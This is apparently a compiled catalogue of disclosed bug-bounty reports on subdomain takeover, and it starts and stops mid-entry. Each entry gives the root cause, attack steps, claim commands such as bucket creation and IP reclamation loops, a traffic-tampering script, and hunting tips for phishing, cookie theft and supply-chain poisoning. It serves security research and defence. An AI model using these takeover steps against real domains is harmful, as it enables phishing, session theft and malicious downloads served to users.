- Enumerate subdomains and resolve them; find one serving an S3 NoSuchBucket error
- Create an S3 bucket with the exact expected name in the correct region
- Enable static website hosting and upload attacker content
- Subdomain now serves attacker content for phishing/cookie theft
# tell: visiting subdomain returns
<Error><Code>NoSuchBucket</Code></Error>
# claim: aws s3 mb s3://<expected-bucket-name>
Insight — Grep DNS for CNAMEs/records pointing at third-party services (S3, GitHub Pages, Heroku, Azure) and check for the provider's unclaimed fingerprint (see can-i-take-over-xyz). NoSuchBucket = free takeover.
Real-world example
Takeover via fallback virtual host that echoes the Host header
◆ High
Specimen #263542 · gsa_bbp · none · 20 votes · resolved
Program gsa_bbpSurface webTag subdomain-takeover
Root cause
The origin uses a specific site as the default/fallback vhost for any unknown domain routed to it and passes the original Host header through; so requests for other (dangling) domains pointed at that infrastructure are served as if they were that site, letting an attacker control content on those domains.
Method
- Point (or find pointed) an unknown domain at the shared origin infrastructure
- Send a request with Host: attacker-controlled-domain
- Origin treats unknown Host as the fallback site and serves content, effectively giving control of that domain's responses
GET / HTTP/1.1
Host: DANGLING.target.gov
# served by the fallback vhost as if it were the primary site
Insight — Subdomain takeover isn't only dangling CNAMEs to SaaS: a wildcard/fallback vhost that trusts the Host header is takeover-equivalent. Test unknown Host values against shared origins and watch for the same site being served.
Real-world example
Subdomain takeover via dangling CNAME to Google hosted (ghs.google.com)
◆ High
Specimen #181665 · ui · awarded · 19 votes · resolved
Program uiSurface webTag subdomain-takeover
Root cause
A subdomain CNAME points to Google's hosting (ghs.google.com / Google Sites/Apps) for a mapping that is unclaimed, so an attacker can claim the custom domain in their own Google account and serve content.
Method
- Resolve the subdomain; observe CNAME to ghs.google.com with an unclaimed/404 mapping
- Add the domain as a custom URL in an attacker-controlled Google Sites/Apps account
- Verify ownership and serve arbitrary content on the subdomain
dig moderator.ubnt.com -> CNAME ghs.google.com (unclaimed)
Insight — Dangling CNAMEs to third-party hosts (ghs.google.com, GitHub Pages, Heroku, S3, Azure) are claimable; fingerprint the 'not found' page to confirm takeover before claiming.
Real-world example
Subdomain takeover via unclaimed host on Acquia Cloud
◆ High
Specimen #874482 · insulet_corporation · none · 18 votes · resolved
Program insulet_corporationSurface webTag subdomain-takeover
Root cause
DNS still pointed a subdomain at Acquia Cloud for a site that was never added to any Acquia account; the provider serves a 'Web Site Not Found' page and lets any customer bind the hostname.
Method
- Discover the subdomain via enumeration and resolve it to the Acquia Cloud infrastructure.
- Confirm the Acquia unclaimed fingerprint: 'Web Site Not Found ... If you are an Acquia Cloud customer ... add this domain name to your site via the Acquia Network management console'.
- Add the domain to an attacker-controlled Acquia site to claim it.
# Fingerprint page body:
# "Web Site Not Found ... add this domain name to your site via the Acquia Network management console"
Insight — Maintain a per-provider fingerprint list (Shopify, Acquia, GitHub Pages, Heroku, AWS/S3, Azure, Fastly, etc.); the exact error string is the reliable takeover tell, not just an HTTP 404.
Real-world example
Subdomain takeover via dangling AWS EC2 public IP
◆ High
Specimen #1197013 · 8x8 · none · 12 votes · resolved
Program 8x8Surface cloudChain dangling DNS → EC2 IP reuse → TLS cert issuance → cookie theTag subdomain-takeoverTag cloud-aws
Root cause
A DNS A/CNAME record still points at an EC2 public IP after the instance is terminated. AWS releases that IP back to the shared pool, so anyone can launch instances until they are assigned the same IP and thereby control the subdomain.
Method
- Enumerate subdomains and resolve their A records / EC2 public-DNS CNAMEs
- Flag records whose target IP/instance no longer answers (dangling)
- Repeatedly allocate EC2 instances in the same region until assigned the freed IP
- Serve arbitrary content and obtain a valid TLS cert via ACME for the domain
# detect dangling record
dig +short SUB.TARGET.com
# -> 18.195.93.116 (EC2 IP, instance gone)
curl -s http://SUB.TARGET.com
# after takeover, your instance answers:
# <!-- hackerone.com/ian -->
Insight — Any subdomain resolving to a raw EC2 public IP (or ec2-*.compute.amazonaws.com CNAME) rather than an Elastic IP is a takeover candidate once the instance dies. Impact goes beyond defacement: domain-scoped cookies, OAuth/domain whitelists, and TLS issuance all trust the subdomain.
Real-world example
Subdomain takeover via dangling DNS record to an unclaimed S3 bucket
◆ High
Specimen #1329792 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface cloudChain dangling CNAME -> bucket registration -> trusted-origiTag subdomain-takeoverTag cloud-aws
Root cause
A DNS record (CNAME/A) for www.<target> pointed to an AWS S3 bucket that was never claimed/was deleted. The attacker registered the bucket name and served arbitrary content on the trusted subdomain.
Method
- Enumerate the target's DNS records; find a CNAME/alias pointing to an S3 bucket endpoint that returns NoSuchBucket
- Create an S3 bucket with the exact expected name/region
- Serve a PoC page; it is now hosted under the victim's subdomain
dig www.TARGET # ANSWER: CNAME -> <bucket>.s3-website-<region>.amazonaws.com (NoSuchBucket)
aws s3 mb s3://<bucket-name>
Insight — Dangling records to S3/GitHub Pages/Azure/Heroku are takeover-able; a trusted subdomain then bypasses CSP/CORS allowlists, steals cookies scoped to the parent, and defeats SSRF domain whitelists. Run subdomain takeover scans on the full DNS footprint.
Real-world example
Subdomain takeover via unclaimed GitLab Pages
◆ High
Specimen #2523677 · ratelimited · none · 59 votes · resolved
Program ratelimitedSurface webTag subdomain-takeover
Root cause
A subdomain CNAME'd to GitLab Pages while the corresponding Pages project/domain is unclaimed; GitLab adds custom domains without domain-ownership verification, so anyone can claim it.
Method
- Enumerate subdomains; find one CNAME'd to *.gitlab.io / GitLab Pages
- Confirm it serves a GitLab 404/unclaimed page
- Create a GitLab project, add the victim subdomain as a custom Pages domain (no verification)
- Deploy attacker content -> full control of the subdomain
Insight — For any dangling CNAME, fingerprint the provider's takeover tells; GitLab Pages historically allowed adding custom domains with no TXT ownership check. Takeover enables cookie theft, phishing, and CSP/CORS trust abuse on the parent origin.
Real-world example
Fallback vhost serves content for unknown Host headers
◆ High
Specimen #263902 · gsa_bbp · none · 24 votes · resolved
Program gsa_bbpSurface webTag subdomain-takeover
Root cause
Servers used a specific domain's static site as the default/fallback for any unknown domain routed to them and passed through the original Host header, so a dangling/pointed subdomain could serve attacker content as that host.
Method
- Enumerate dangling DNS/CNAMEs pointing at shared infra (GitHub recon of DNS records)
- Point/route an in-scope-looking host at the shared server
- Observe the fallback vhost echo the Host header and serve controllable content
Insight — Subdomain takeover is not only dangling-CNAME-to-SaaS: a shared origin that treats one site as the default vhost for ALL unknown Host headers gives equivalent content-injection. When probing takeovers, test arbitrary Host headers against shared origins, not just third-party service claims.
Real-world example
Trailing-dot (RFC 1034 absolute FQDN) bypass of 'domain already claimed' check
◆ Medium
Specimen #1086108 · shopify · 3100 · 166 votes · resolved
Program shopifySurface webTag subdomain-takeover
Root cause
Multi-tenant platform verifies domain ownership only by checking whether the exact string is already registered on its backend, not via DNS challenge. 'shop.example.com' and 'shop.example.com.' resolve to the same records but are distinct strings, so the trailing-dot form passes the 'not already claimed' check.
Method
- Identify a domain/subdomain pointed (CNAME) at the platform by another tenant (reverse-CNAME via OTX/passive DNS).
- Attempt to add the domain to your own tenant -> rejected as already in use.
- Add the trailing-dot variant (domain + '.') instead -> passes the uniqueness check.
- Wait for SSL/DNS propagation; the FQDN-with-dot now serves YOUR tenant content over the victim's domain.
# victim (real store): https://shop.inti.io/accounts/sign_in
# attacker registers domain on their tenant as:
shop.inti.io.
# hijacked store served at:
https://shop.inti.io./accounts/sign_in
Insight — When a platform validates domain ownership by string match instead of a DNS TXT/CNAME challenge, try FQDN encoding variants: trailing dot, uppercase, IDN/punycode. Same DNS resolution, different backend key.
Real-world example
Subdomain takeover: cdn.grab.com CNAME to unclaimed CloudFront distribution
◆ Medium
Specimen #352869 · grab · 1000 · 142 votes · resolved
Program grabSurface cloudChain dangling CloudFront CNAME -> takeover -> phishing + wiTag subdomain-takeoverTag cloud-aws
Root cause
cdn.grab.com CNAME'd to a *.cloudfront.net distribution that was not registered/claimed in AWS CloudFront, so an attacker can create a CloudFront distribution with that alternate domain and serve content on the victim's subdomain.
Method
- Enumerate subdomains and resolve CNAMEs; find cdn.grab.com -> *.cloudfront.net
- Confirm the CloudFront distribution is unclaimed (dangling)
- Register a CloudFront distribution with cdn.grab.com as an alternate CNAME and serve attacker content
dig cdn.grab.com CNAME # -> *.cloudfront.net (unclaimed) -> claim distribution, serve http://cdn.grab.com/index.html
Insight — Dangling CNAMEs to cloud services (CloudFront/S3/Azure/GitHub Pages) = takeover. Impact escalates when the parent sets cookies on *.example.com: a claimed subdomain can read wildcard-scoped cookies, acting like site-wide XSS.
Real-world example
Dangling A record to a released cloud IP
◆ Medium
Specimen #1182864 · eternal · 350 · 99 votes · resolved
Program eternalSurface cloudTag subdomain-takeoverTag cloud-aws
Root cause
A subdomain's A record pointed to an AWS EC2 IP that had been released; reclaiming that elastic IP let the attacker serve content and obtain TLS for the domain.
Method
- dig the subdomain, find it resolves to a specific AWS IP with no live host
- Allocate EC2/EIPs in that region/pool until you obtain the same IP
- Serve content (and get a domain-validated TLS cert) on the victim subdomain
dig +short fr1.vpn.zomans.com -> 52.47.57.107 (reclaimable)
Insight — Subdomain takeover isn't only SaaS CNAMEs: A records to deprovisioned cloud IPs are reclaimable by cycling that provider/region's IP pool. High impact if the domain is OAuth-whitelisted or holds parent-scoped cookies.
Real-world example
Subdomain takeover via dangling NS delegation
◆ Medium
Specimen #1342422 · basecamp · awarded · 77 votes · resolved
Program basecampSurface webTag subdomain-takeover
Root cause
A subdomain (us-east4.37signals.com) delegated (NS records) to a cloud DNS zone that was never claimed; registering that zone in an attacker account grants full control of the subdomain.
Method
- Enumerate NS records of target subdomains; look for delegations to a cloud DNS provider
- Check whether the delegated zone exists / is claimable in that provider
- Create the zone in your own account and host content on the subdomain
dig NS us-east4.37signals.com
# NS points to an unclaimed cloud DNS zone -> create the zone in your account
Insight — Takeover is not only CNAME-to-dead-service; dangling NS delegations are higher-impact (you control the whole subtree). Always check NS, not just CNAME, when hunting takeovers.
Real-world example
Dangling DNS -> claim unclaimed cloud service (Fastly/AWS/GCP) -> serve content
◆ Medium
Specimen #2706358 · mozilla · 500 · 66 votes · resolved
Program mozillaSurface cloudTag subdomain-takeoverTag cloud
Root cause
A subdomain CNAMEs to a cloud/CDN resource (Fastly service, S3/CloudFront, GCP, etc.) that is no longer registered/claimed on the provider. The provider serves that hostname to whoever claims it, so an attacker registers it and controls the subdomain.
Method
- Enumerate subdomains and resolve CNAME chains (subfinder/amass + dig).
- Look for provider 'not found' fingerprints on the dangling target (e.g. 'Fastly error: unknown domain', S3 NoSuchBucket, GitHub Pages 404, Heroku no-such-app).
- Register/claim the exact hostname on the corresponding provider (add the domain to your Fastly/S3/etc. account).
- Serve your own content over the victim subdomain (phishing, cookie/CSP/CORS abuse). Note CAA records may block issuing SSL.
# example fingerprint:
$ curl -s https://addons-preview-cdn.mozilla.net/
Fastly error: unknown domain: addons-preview-cdn.mozilla.net
# -> add that domain to attacker's Fastly service, then serve:
http://addons-preview-cdn.mozilla.net/poc.html
Insight — Maintain a fingerprint table (Fastly 'unknown domain', S3 NoSuchBucket, Azure/Heroku/GitHub Pages) and continuously diff DNS for CNAMEs to third-party services with no live backend. Check CAA before promising HTTPS PoC. Broad scope like *.mozaws.net/*.mozgcp.net yields many dangling records over time.
Real-world example
Dangling CNAME -> third-party service subdomain takeover
◆ Medium
Specimen #1474784 · zenly · USD 750 · 61 votes · resolved
Program zenlySurface cloudTag subdomain-takeover
Root cause
brand.zen.ly's CNAME pointed to brandpad.io, a service where the resource had been removed and the name was unclaimed, so registering it serves attacker content from the trusted subdomain.
Method
- Enumerate subdomains and resolve CNAMEs (dig/subfinder + dnsx)
- Find CNAMEs to SaaS providers returning NotFound/unclaimed
- Register the resource on that provider to claim the subdomain
dig brand.zen.ly -> CNAME brandpad.io. (target returns 'Not Found')
# claim by registering at Brandpad
Insight — Automate CNAME-to-fingerprint matching (subjack/nuclei takeover templates); any subdomain whose CNAME points to an unclaimed SaaS resource is takeoverable and inherits domain trust for phishing/cookie theft.
Real-world example
Dangling DNS to Medium (unclaimed custom domain)
◆ Medium
Specimen #1034023 · bumble · USD 300 · 40 votes · resolved
Program bumbleSurface webChain subdomain takeover -> phishing/cookie theft on trusted suTag subdomain-takeover
Root cause
A subdomain has A-records pointing to Medium's custom-domain IPs but the domain was never claimed inside Medium, leaving it takeable once Medium's custom-domain onboarding is used to claim it.
Method
- Find subdomain resolving to Medium's known custom-domain A-records (e.g. 52.x.x.x set)
- Confirm it serves Medium's generic 'couldn’t find that page' error
- Follow Medium's custom-domain onboarding to claim the domain to your own publication
dig badootech.badoo.com -> A 52.1.173.203 ... (Medium IP block) + Medium 404 page = takeoverable
Insight — Fingerprint dangling DNS by matching A/CNAME targets to known SaaS IP ranges (Medium, GitHub Pages, Shopify, Heroku, S3, Azure) plus the provider's default error page. Third-party 'claim your domain' onboarding is the takeover vector even without a CNAME.
Real-world example
Subdomain takeover via dangling CNAME to unclaimed WordPress domain mapping
◆ Medium
Specimen #274336 · snapchat · awarded · 39 votes · resolved
Program snapchatSurface webChain dangling CNAME -> claim SaaS domain -> serve attacker Tag subdomain-takeover
Root cause
A subdomain (blog.bitstripsforschools.com) had a CNAME pointing to a WordPress (VIP/domain-mapping) target for a product no longer active. The mapping was unclaimed, so an external party could register/claim it and serve arbitrary content on the victim's subdomain.
Method
- Enumerate the org's DNS CNAMEs and resolve each target.
- Flag CNAMEs pointing to third-party SaaS (WordPress domain-mapping, GitHub Pages, Heroku, etc.) that return unclaimed/404-provision responses.
- Claim the target on that SaaS (add the custom domain) to take over the subdomain.
# find dangling CNAMEs
for s in $(cat subdomains.txt); do echo "$s -> $(dig +short CNAME $s)"; done
# then check the target SaaS shows an unclaimed/'domain not configured' page
Insight — Decommissioned products leave dangling CNAMEs. Any CNAME to a third-party host that shows an unclaimed/registerable state is a takeover. WordPress domain-mapping is a classic target alongside GitHub Pages/Heroku/S3.
Real-world example
Subdomain takeover via expired SaaS (Desk.com) account reclaim
◆ Medium
Specimen #201796 · automattic · awarded · 38 votes · resolved
Program automatticSurface webTag subdomain-takeover
Root cause
A subdomain CNAME'd to a SaaS host (cloudup.desk.com) whose underlying SaaS account had expired/been cancelled. Registering a new account on that SaaS with the same subdomain identifier reclaims the dangling target and serves attacker content on the victim subdomain.
Method
- Enumerate subdomains and their CNAMEs pointing at SaaS providers
- Find one whose SaaS-hosted target returns an unclaimed/expired error
- Create a SaaS account using the same subdomain/identifier the CNAME expects
- Serve a proof page on the victim subdomain
# help.cloudup.com CNAME cloudup.desk.com (Desk.com account expired)
# register desk.com account claiming 'cloudup' -> control help.cloudup.com
Insight — Complements the dangling-domain takeover: here the base domain is fine but the SaaS tenant is unclaimed. Fingerprint the SaaS error page ('no such account/help desk'), then claim the same identifier. Maintain a fingerprint list (Desk/Zendesk/GitHub Pages/S3/Heroku/etc.).
Real-world example
CloudFront origin points to unclaimed S3 bucket -> claim bucket, poison cached content
◆ Medium
Specimen #2262939 · ibb · awarded · 37 votes · resolved
Program ibbSurface cloudChain unclaimed origin bucket -> serve XSS to maintainers + poiTag subdomain-takeoverTag cloud
Root cause
A CloudFront distribution (serving rubygems.org/names) had an S3 origin bucket that no longer existed (NoSuchBucket). Anyone can create a bucket with that exact name; CloudFront then serves attacker files, cached for a long TTL, with attacker-controlled content-type.
Method
- Find a path that returns S3 <Code>NoSuchBucket</Code> with the <BucketName> in the XML.
- Create an S3 bucket with that exact name (match the region CloudFront expects; region mismatch -> TemporaryRedirect until you pick the right one).
- Upload a file matching the served key; set content-type (e.g. text/html) to serve stored XSS. CloudFront caches it for consumers.
# leak:
<Error><Code>NoSuchBucket</Code><BucketName>index.rubygems.org</BucketName></Error>
# claim (correct region):
aws s3 mb s3://index.rubygems.org --region us-west-2
aws s3 cp names s3://index.rubygems.org/names --content-type text/html
Insight — An S3 NoSuchBucket in a response body IS a takeover primitive even without DNS control, when a CDN uses that bucket as origin. Attacker controls content AND content-type (-> stored XSS) and can poison downstream consumers (package managers/Artifactory pulling the file) = supply-chain impact.
Real-world example
Subdomain takeover of dangling CNAME to expired SaaS (Hubspot)
◆ Medium
Specimen #38007 · greenhouse · awarded · 33 votes · resolved
Program greenhouseSurface webChain subdomain takeover -> phishing / JS execution on trusted Tag subdomain-takeover
Root cause
blog.greenhouse.io was a CNAME to a Hubspot host for an account that had expired/cancelled, so anyone could register that Hubspot site and serve arbitrary content (including JS) from the greenhouse.io subdomain.
Method
- Enumerate subdomains and resolve CNAMEs
- Flag CNAMEs pointing to SaaS providers (Hubspot/Heroku/GitHub Pages/S3) that return unclaimed/expired
- Claim the resource on that provider to control the subdomain
$ host blog.greenhouse.io
blog.greenhouse.io is an alias for san.secure001.hubspot.com.edgekey.net.
# register the (expired) Hubspot site to serve content on blog.greenhouse.io
Insight — Dangling CNAMEs to third-party SaaS are foolproof phishing and, if the platform lets you run JS, XSS in the parent domain's origin. Resolve every subdomain and check the target service for 'unclaimed/expired' fingerprints.
Real-world example
Subdomain takeover via reclaimed AWS Elastic IP (IP use-after-free)
◆ Medium
Specimen #707748 · uber · awarded · 30 votes · resolved
Program uberSurface cloudTag subdomain-takeoverTag cloud-aws
Root cause
A subdomain A record pointed at an AWS Elastic IP that had been released back to AWS's pool; repeatedly allocating Elastic IPs until the same address is obtained gives full control of the subdomain (its cookies and CORS scope).
Method
- Find a subdomain A record pointing to an AWS-owned IP that no longer hosts the service
- Allocate/release AWS Elastic IPs in the target region until you are assigned that exact IP
- Serve content on the IP; the dangling A record now resolves to your host
- Abuse subdomain-scoped cookies and CORS trust for phishing / session attacks
# loop: aws ec2 allocate-address ; check if IP == dangling A-record target ; else release-address
Insight — Dangling records to raw cloud IPs (not just CNAMEs to SaaS) are takeoverable when the IP returns to a reallocatable pool. Elastic-IP/ephemeral-IP 'use-after-free' is a distinct takeover class from CNAME dangling.
Real-world example
SaaS custom-domain without ownership verification -> takeover of provider parent zone
◆ Medium
Specimen #1700276 · cloudflare · 1125 · 28 votes · resolved
Program cloudflareSurface cloudTag subdomain-takeoverTag cloud-aws
Root cause
The R2 custom-domain feature registered a hostname as an SSL-for-SaaS custom hostname without verifying zone ownership or that the zone was active. Because *.r2.dev shares the fallback-origin zone, an attacker could bind arbitrary r2.dev subdomains (including live pub-<id>.r2.dev buckets) to their own bucket.
Method
- Reach the gated R2 public-buckets UI (toggle the client-side feature flag via mitmproxy)
- Add r2.dev to your account and stop at zone-ownership verification
- Create a bucket and add e.g. albert.r2.dev as a custom domain
- Enable the domain; it now serves your bucket's content
- Same flow also blocks a victim from claiming their own domain
# mitmproxy addon to flip the gated flag client-side
if re.match(r'https?://dash\.cloudflare\.com/api/v4/accounts/[0-9a-f]{32}/flags', flow.request.url):
data=json.loads(flow.response.text); data['result']['workers']['r2_publicbuckets']=True; flow.response.text=json.dumps(data)
Insight — SaaS 'custom domain / custom hostname' features that bind a hostname before verifying domain ownership let you take over the provider's own shared parent zone (r2.dev, herokuapp.com-style). Also test the denial-of-service variant: pre-claim a target's domain so their legitimate add fails.
Real-world example
Subdomain takeover via dangling CNAME to unclaimed Tumblr blog
◆ Medium
Specimen #221631 · shopify · none · 26 votes · resolved
Program shopifySurface cloudTag subdomain-takeover
Root cause
A subdomain CNAME'd to domains.tumblr.com but no Tumblr blog claimed it, so any Tumblr user could register a blog for that custom domain and control the subdomain.
Method
- Find subdomain with CNAME to domains.tumblr.com and Tumblr's unclaimed page
- Register a Tumblr blog and set its custom domain to the target subdomain
- Subdomain now serves attacker-controlled Tumblr content
ux.shopify.com. 3600 IN CNAME domains.tumblr.com.
# claim by setting Tumblr blog custom domain = ux.shopify.com
Insight — Same dangling-CNAME primitive as S3 but for SaaS hosts (Tumblr, GitHub Pages, Fastly, Shopify). The provider-specific fingerprint is the tell; claim flow is provider-specific.
Real-world example
Domain takeover via dangling nameserver / deleted DNS hosted zone
◆ Medium
Specimen #1226891 · reddit · USD 500 · 20 votes · resolved
Program redditSurface webChain Dangling delegation -> recreate zone -> full DNS/emailTag subdomain-takeover
Root cause
Registrar still delegated reddit.ru to Reg.ru nameservers, but the hosted zone at Reg.ru had been deleted (dig returns SERVFAIL), so anyone could recreate the zone and become authoritative for the domain.
Method
- Enumerate an org's domains and run dig on each
- Flag domains returning SERVFAIL / lame delegation (NS set at registrar but no zone at the provider)
- Create an account at the delegated DNS provider and add the missing hosted zone for that domain
- Prove control by publishing a TXT record
dig NS reddit.ru # NS -> reg.ru
dig A reddit.ru # SERVFAIL == dangling zone
# recreate hosted zone at reg.ru, then:
reddit.ru. 86400 IN TXT "faberge@wearehackerone"
Insight — SERVFAIL on a domain whose NS records point at a self-service DNS provider is a takeover signal, not just an outage. Full domain control enables spoofed sites, phishing, and @domain email issuance - higher impact than a subdomain takeover.
Real-world example
Unclaimed S3 bucket takeover used in install instructions
◆ Medium
Specimen #1791558 · brave · awarded · 19 votes · resolved
Program braveSurface cloudChain Bucket takeover -> malicious package/download served to iTag subdomain-takeover
Root cause
An S3 bucket (brave-apt) referenced in widely-linked Linux install instructions was unclaimed, so an attacker could register the bucket name and control what users download during install.
Method
- Find references to an s3 bucket URL in docs/forums/install guides
- Confirm the bucket returns NoSuchBucket (unclaimed)
- Create a bucket with the same name in the correct region
- Serve attacker content -> anyone following the install guide fetches it
https://s3-us-west-2.amazonaws.com/brave-apt/
# if NoSuchBucket -> aws s3 mb s3://brave-apt --region us-west-2
# upload proof.txt / malicious payload
Insight — Hunt for dangling storage names (S3/GCS/Azure) referenced in install scripts, package repos, forums, and old GitHub issues. A takeoverable bucket in a distribution path is a supply-chain foothold, not just a defacement.
Real-world example
Subdomain takeover via dangling A record to released EC2 IP
◆ Medium
Specimen #1179193 · palo_alto_software · none · 15 votes · resolved
Program palo_alto_softwareSurface cloudChain dangling DNS -> IP reclamation -> content control ->Tag subdomain-takeoverTag cloud-aws
Root cause
A subdomain's A record still points at a public EC2 IP that was released back to AWS; by repeatedly launching EC2 instances until the same elastic/public IP is assigned, the attacker controls content served on that domain.
Method
- Enumerate subdomains and resolve them to raw IPs
- Find an A record pointing to an IP that no longer answers / is unallocated
- Confirm the IP belongs to a cloud pool (AWS EC2 range)
- Cycle instance launches in that region until the IP is reassigned to you
- Serve arbitrary content / obtain a TLS cert for the domain
dig +short www2.TARGET.com # -> 67.202.62.93 (stale EC2 IP)
curl www2.TARGET.com # confirm your instance responds
Insight — Dangling A/AAAA records to cloud IPs are takeover targets distinct from CNAME-to-SaaS: the attack is IP reclamation, not account claiming. Prioritize domains resolving to non-responsive cloud-range IPs. Impact rises if the parent domain scopes cookies or is OAuth-whitelisted.
Real-world example
Broken link hijacking of dead social-media handle linked from site
◆ Medium
Specimen #1916565 · nextcloud · none · 15 votes · resolved
Program nextcloudSurface webChain dead outbound link -> handle re-registration -> brand-Tag subdomain-takeover
Root cause
The site links to an external social profile (twitter.com/nextcloudfrance) that no longer exists; anyone can register the freed handle and thereby control a link presented as the brand's official account.
Method
- Crawl the target for outbound social/media links (footer icons, press pages)
- Check each linked handle/domain for 404 / available registration
- Register the freed handle
- The brand's own site now drives visitors to attacker-controlled profile
# footer Twitter icon -> https://twitter.com/nextcloudfrance (404)
# register that username to hijack the trusted outbound link
Insight — Broken Link Hijacking generalizes subdomain takeover to any dangling external reference: expired social handles, dead vanity domains, abandoned CDNs/JS includes. Audit every outbound link/script src for availability; hijacked script includes escalate to XSS.
Real-world example
Claim unregistered GCS bucket referenced by app source
◆ Medium
Specimen #1398706 · kubernetes · awarded · 14 votes · resolved
Program kubernetesSurface cloudChain dangling GCS bucket -> host malicious JS -> XSS on dasTag subdomain-takeoverTag cloud-gcp
Root cause
A dashboard HTML/JS in the kubernetes/release repo loads scripts and JSON from a Google Cloud Storage bucket that was never created; anyone can create that bucket name and serve attacker-controlled content to the dashboard.
Method
- Grep app source/HTML for storage.googleapis.com/<bucket> or other cloud asset URLs
- Test the bucket URL for a 'NoSuchBucket'/unclaimed state
- Create the bucket in your own GCP project and host files at the referenced paths
- Confirm the app loads your content (XSS / data poisoning)
https://storage.googleapis.com/k8s-artifacts-prod-vuln-dashboard/takeover.html
curl -s https://storage.googleapis.com/<bucket>/takeover.html | base64 --decode
Insight — Dangling references to cloud storage (GCS/S3) buckets and CDNs in source, HTML, and JS are takeover-able like subdomains. Enumerate every external asset host an app loads and check if the bucket/name is unclaimed; a claimed bucket feeding a live page gives stored XSS or content poisoning.
Real-world example
Dangling CNAME to unclaimed CloudFront distribution
◆ Medium
Specimen #210188 · ui · none · 12 votes · resolved
Program uiSurface cloudChain Subdomain takeover -> valid TLS cert issuance -> SecurTag subdomain-takeoverTag cloud-aws
Root cause
A subdomain CNAME still pointed at a CloudFront domain (xxxx.cloudfront.net) that was no longer attached to any distribution/origin. CloudFront does not verify which account owns the aliased custom CNAME, so anyone can create a distribution claiming that alias and serve arbitrary content on the victim's subdomain.
Method
- dig the target subdomain and note a CNAME to <id>.cloudfront.net
- Confirm the CloudFront alias returns an error / is not attached to a distribution
- Create your own CloudFront distribution and set the alternate domain name (CNAME) to the victim subdomain
- Serve attacker content; optionally issue a Let's Encrypt/AlphaSSL cert via HTTP validation to read Secure cookies
dig cloudfront.ubnt.com
; cloudfront.ubnt.com. IN CNAME du6drkqe7qw4g.cloudfront.net.
# du6drkqe7qw4g.cloudfront.net not attached to any distribution -> claim the CNAME on your own CF distro
Insight — Enumerate all CNAMEs pointing to *.cloudfront.net / other cloud aliases; any that resolve to an unclaimed distribution are takeover candidates. Impact escalates to httpOnly/Secure cookie theft (you control the origin and can obtain a valid TLS cert) and same-domain phishing.
Real-world example
Dangling GitHub Pages CNAME takeover
◆ Medium
Specimen #363778 · rbkmoney · none · 11 votes · resolved
Program rbkmoneySurface webTag subdomain-takeover
Root cause
A subdomain's DNS record pointed to GitHub Pages, but no GitHub account/repo claimed that custom domain, so anyone could register a repo and bind the domain to their own content.
Method
- Enumerate subdomain CNAMEs/A records for the target
- Find one resolving to a third-party host (github.io) that returns a 404/unclaimed error
- Create your own GitHub repo, add a CNAME file / Pages custom-domain = the dangling subdomain
- Serve attacker content on the victim's subdomain
# detection
dig +short dev.rbk.money
# -> points to GitHub Pages but page returns 'There isn't a GitHub Pages site here'
# claim: create repo, Settings > Pages > Custom domain = dev.rbk.money, add CNAME file
Insight — Any subdomain whose DNS still points at a de-provisioned third-party service (GitHub Pages, S3, Heroku, Azure, etc.) is takeover-able. Always diff live DNS against the fingerprint list of unclaimed-service error pages.
Real-world example
Subdomain takeover via unclaimed third-party / cloud resource CNAME
◆ Medium
Specimen #1646554 · ips · none · 11 votes · resolved
Program ipsSurface cloudChain unclaimed CNAME/MX/bucket → register in provider → phishing Tag subdomain-takeoverTag cloud-aws
Root cause
A CNAME (or S3-website / MX) record points to a SaaS/cloud resource (Zendesk, Unbounce, Mailgun, S3 bucket, Google Workspace) that was never provisioned or has been released, so the attacker registers that exact resource name in the provider and serves content / receives mail for the subdomain.
Method
- Resolve subdomains and note CNAMEs to SaaS providers or *.s3-website-*.amazonaws.com
- For each, check the provider's signup/claim flow for the referenced name (fingerprint the service's 'not found' page)
- Register the unclaimed name in the provider (Zendesk subdomain, Unbounce page, Mailgun domain, S3 bucket)
- Host phishing/XSS content or, for Mailgun/Workspace, receive mail on the victim domain
# fingerprint dangling CNAME
host support.TARGET.com
# -> ipscommunity.zendesk.com (unregistered on Zendesk)
host gameday.TARGET.net
# -> ...s3-website-eu-west-1.amazonaws.com (bucket does not exist)
host email.mailgun.TARGET.com
# -> mailgun.org (domain not added in any Mailgun account -> claim it)
Insight — CNAME/MX/S3 targets that return the provider's generic 'no such account/page/bucket' response are claimable. Provider-specific: Zendesk=subdomain, Unbounce=custom 404 page (great for phishing/XSS), Mailgun/Workspace=mail interception, S3=arbitrary web content. Match the DNS target to a known takeover fingerprint list.
Real-world example
SaaS domain-mapping subdomain takeover (WordPress.com fingerprint)
◆ Medium
Specimen #295330 · wordpress · awarded · 9 votes · resolved
Program wordpressSurface webTag subdomain-takeover
Root cause
A subdomain CNAME'd to a SaaS platform (wordpress.com) that is no longer claimed shows the platform's unclaimed-domain fingerprint ('Domain mapping upgrade for this domain not found'), letting an attacker map the domain to their own SaaS account and serve content on the victim subdomain.
Method
- Resolve the subdomain and confirm it CNAMEs to a SaaS host (wordpress.com / *.wordpress.com -> lb.wordpress.com)
- Visit it and look for the platform's unclaimed/dangling fingerprint page
- Claim/map the domain in your own account on that platform to take it over
$ host code.wordpress.net
code.wordpress.net is an alias for wpprojects.wordpress.com.
# page: "Domain mapping upgrade for this domain not found"
Insight — Subdomain takeover = dangling CNAME to a SaaS/service you can claim. Enumerate CNAMEs, then match the response body against known 'unclaimed' fingerprints (GitHub Pages, Heroku, WordPress.com domain-mapping, SendGrid, S3). The fingerprint string is the tell.
Real-world example
Inbound-email subdomain takeover via unclaimed SendGrid CNAME
◆ Medium
Specimen #403822 · khanacademy · none · 9 votes · resolved
Program khanacademySurface cloudTag subdomain-takeover
Root cause
A subdomain CNAME'd to a transactional email provider (sendgrid.net) that is not claimed on that provider can be registered by an attacker, allowing takeover of the subdomain and potentially interception/handling of inbound email routed through it.
Method
- Enumerate DNS; find subdomain (sendgrid.khanacademy.org) with CNAME to sendgrid.net
- Verify the target is unclaimed on SendGrid
- Register the subdomain on your own SendGrid account to take it over / receive inbound mail
# sendgrid.khanacademy.org CNAME sendgrid.net (unclaimed)
# claim on SendGrid to own the subdomain
Insight — Email/ESP CNAMEs (sendgrid.net, mailgun, mandrill) are takeover targets too, and the payoff can be inbound-email interception, not just web defacement. Always include ESP subdomains in dangling-CNAME sweeps.
Real-world example
Dangling CNAME to unclaimed SaaS -> subdomain takeover
◆ Medium
Specimen #399165 · khanacademy · none · 8 votes · resolved
Program khanacademySurface webChain subdomain takeover -> phishing / cookie or OAuth-token thTag subdomain-takeover
Root cause
